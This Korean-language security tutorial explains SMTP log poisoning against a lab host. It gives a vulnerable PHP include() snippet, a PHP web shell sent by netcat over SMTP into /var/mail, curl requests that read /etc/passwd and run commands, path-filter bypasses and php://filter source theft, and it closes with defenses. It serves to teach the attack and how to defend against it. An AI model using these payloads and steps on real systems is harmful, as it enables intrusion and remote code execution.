개요
SMTP Log Poisoning은 두 가지 취약점을 연계한 공격 기법이다.
- LFI (Local File Inclusion): 웹 애플리케이션이 사용자 입력값을 필터링 없이
include()에 사용하여 임의 파일을 실행하는 취약점 - SMTP를 통한 코드 삽입: SMTP 프로토콜로 전송된 메일이 서버의
/var/mail/<user>경로에 평문으로 저장되는 점을 악용하여, 메일 본문에 PHP 코드를 삽입하고 LFI로 해당 파일을 인클루드해 RCE(원격 코드 실행)를 달성하는 기법
공격 원리
1. LFI란?
PHP의 include(), require() 함수는 지정된 파일을 PHP로 해석하여 실행한다. 아래와 같은 코드가 있다고 가정하자.
<?php
$page = $_GET['page'];
include($page);
?>
이 코드는 ?page=about.php처럼 정상적인 파일 이름을 받도록 설계되었지만, 입력 검증이 없으므로 공격자가 서버 내 임의 파일 경로를 지정할 수 있다.
http://target.com/index.php?page=../../../../etc/passwd
파일을 읽는 것에서 그치지 않고, PHP 코드가 포함된 파일을 인클루드하면 코드 실행으로 이어진다. 이것이 핵심이다.
2. Log Poisoning 원리
일반적인 Log Poisoning은 Apache 접근 로그(/var/log/apache2/access.log)에 PHP 코드를 삽입하는 방식이다.
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
이 요청을 보내면 User-Agent 값이 로그 파일에 기록된다. 이후 LFI로 로그 파일을 인클루드하면 PHP가 실행된다.
http://target.com/index.php?page=/var/log/apache2/access.log&cmd=id
SMTP Log Poisoning은 로그 파일 대신 메일 파일을 대상으로 한다.
3. SMTP Log Poisoning의 동작 원리
Linux 시스템에서 Postfix, Sendmail 등의 MTA(메일 전송 에이전트)는 로컬 사용자에게 온 메일을 /var/mail/<username> 경로에 mbox 형식으로 저장한다.
/var/mail/victim
mbox 형식은 순수한 텍스트 파일이다. 메일 헤더와 본문이 그대로 저장된다.
From attacker@evil.com Fri Jun 27 12:00:00 2025
Return-Path: <attacker@evil.com>
From: attacker@evil.com
To: victim@lab.local
Subject: Hello
<?php system($_GET['cmd']); ?>
PHP가 이 파일을 include()로 처리하면, 텍스트 부분은 무시되고 <?php ?> 태그 사이의 코드만 실행된다.
From attacker ... ← PHP가 무시 (일반 텍스트)
<?php system(...) ?> ← PHP 실행!
공격 조건
이 공격이 성립하려면 다음 조건이 모두 충족되어야 한다.
| 조건 | 설명 |
|---|---|
| 웹 앱에 LFI 취약점 | include($_GET['page']) 같은 코드 |
| SMTP 포트 접근 가능 | 서버의 포트 25번에 직접 연결 가능 |
| 로컬 메일 수신 사용자 존재 | /var/mail/<user> 파일이 생성됨 |
| 웹 서버가 메일 파일 읽기 가능 | www-data가 mail 그룹에 속해야 함 |
| PHP가 메일 파일을 처리 | LFI 경로가 /var/mail/<user>까지 도달 가능 |
단계별 공격 수행
Step 1. LFI 취약점 확인
먼저 ?page= 파라미터에 시스템 파일 경로를 입력하여 LFI 취약점이 존재하는지 확인한다.
curl -s "http://test.local:8080/?page=../../../../etc/passwd"
성공하면 /etc/passwd 내용이 페이지에 출력된다.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
victim:x:1000:1000::/home/victim:/bin/bash
<SNIP>
Step 2. 대상 사용자 확인
LFI로 읽은 /etc/passwd에서 메일을 받을 로컬 사용자를 확인한다. 위 출력에서 victim 사용자가 존재함을 알 수 있다.
curl -s "http://test.local:8080/?page=../../../../etc/passwd" | grep -v "nologin\|false"
Output:
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
victim:x:1000:1000::/home/victim:/bin/bash
Step 3. SMTP로 PHP 웹쉘 전송
netcat으로 서버의 SMTP 포트(25)에 직접 연결하여 PHP 코드가 담긴 메일을 전송한다.
nc <TARGET IP> <SMTP PORT>
SMTP 대화를 수동으로 진행한다.
220 lab.local ESMTP Postfix (Ubuntu)
HELO attacker.com
250 lab.local
MAIL FROM: <attacker@evil.com>
250 2.1.0 Ok
RCPT TO: <victim@lab.local>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: attacker@evil.com
To: victim@lab.local
Subject: test
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 2DE8930DA1
QUIT
221 2.0.0 Bye

핵심:
DATA섹션의 본문에 PHP 코드를 삽입한다. 메일 헤더와 본문 사이에는 빈 줄이 하나 있어야 한다.
Step 4. 메일 파일에 코드가 저장됐는지 확인
LFI로 /var/mail/victim을 직접 읽어 PHP 코드가 파일에 저장됐는지 확인한다.
curl -s 'http://test.local:8080/?page=/var/mail/victim'
Output:
...
From attacker@evil.com Sat Jun 27 07:54:49 2026
Return-Path: <attacker@evil.com>
X-Original-To: victim@lab.local
Delivered-To: victim@lab.local
Received: from attacker.com (unknown [172.19.0.1])
by lab.local (Postfix) with SMTP id 2DE8930DA1
for <victim@lab.local>; Sat, 27 Jun 2026 07:53:58 +0000 (UTC)
From: attacker@evil.com
To: victim@lab.local
Subject: test
...
페이지에 메일 텍스트가 출력된다면 파일 읽기에 성공한 것이다. PHP 코드는 이미 실행됐기 때문에 출력에 보이지 않는다.
Step 5. 명령 실행 (RCE)
이제 cmd 파라미터를 추가하면 PHP 웹쉘이 실행된다.
현재 사용자 확인:
curl -s 'http://test.local:8080/?page=/var/mail/victim&cmd=id'
Output:
From attacker@evil.com Sat Jun 27 07:54:49 2026
Return-Path: <attacker@evil.com>
X-Original-To: victim@lab.local
Delivered-To: victim@lab.local
Received: from attacker.com (unknown [172.19.0.1])
by lab.local (Postfix) with SMTP id 2DE8930DA1
for <victim@lab.local>; Sat, 27 Jun 2026 07:53:58 +0000 (UTC)
From: attacker@evil.com
To: victim@lab.local
Subject: test
uid=33(www-data) gid=33(www-data) groups=33(www-data),8(mail)
필터 우회 기법
../ 필터 우회
일부 애플리케이션은 ../를 제거한다.
$page = str_replace('../', '', $_GET['page']);
이 경우 이중 삽입(....//)으로 우회한다.
# ../가 제거되면: ....// → ../가 됨
?page=....//....//....//var/mail/victim
절대 경로 사용
../ 트래버설 없이 절대 경로로 직접 지정한다.
?page=/var/mail/victim
대부분의 단순 필터는 절대 경로까지 차단하지 않는다.
PHP Wrapper를 통한 소스 확인
LFI가 있지만 코드가 실행되어 출력을 볼 수 없을 때, Base64 래퍼로 소스를 탈취한다.
?page=php://filter/convert.base64-encode/resource=/var/mail/victim
방어 방법
1. 화이트리스트 기반 입력 검증
// 허용된 페이지만 인클루드
$allowed = ['about', 'contact', 'home'];
if (in_array($_GET['page'], $allowed)) {
include($_GET['page'] . '.php');
} else {
http_response_code(404);
}
2. PHP 설정 강화
php.ini에서 open_basedir로 인클루드 가능한 경로를 제한한다.
open_basedir = /var/www/html
3. SMTP 접근 제한
포트 25를 외부에서 직접 접근할 수 없도록 방화벽으로 차단한다. 웹 서버와 동일한 호스트에서 메일 서버를 운영하지 않는다.
4. 웹 서버 사용자 격리
www-data를 mail 그룹에서 제거하여 /var/mail/을 읽지 못하게 한다.
Comments
Sign in with GitHub to leave a comment.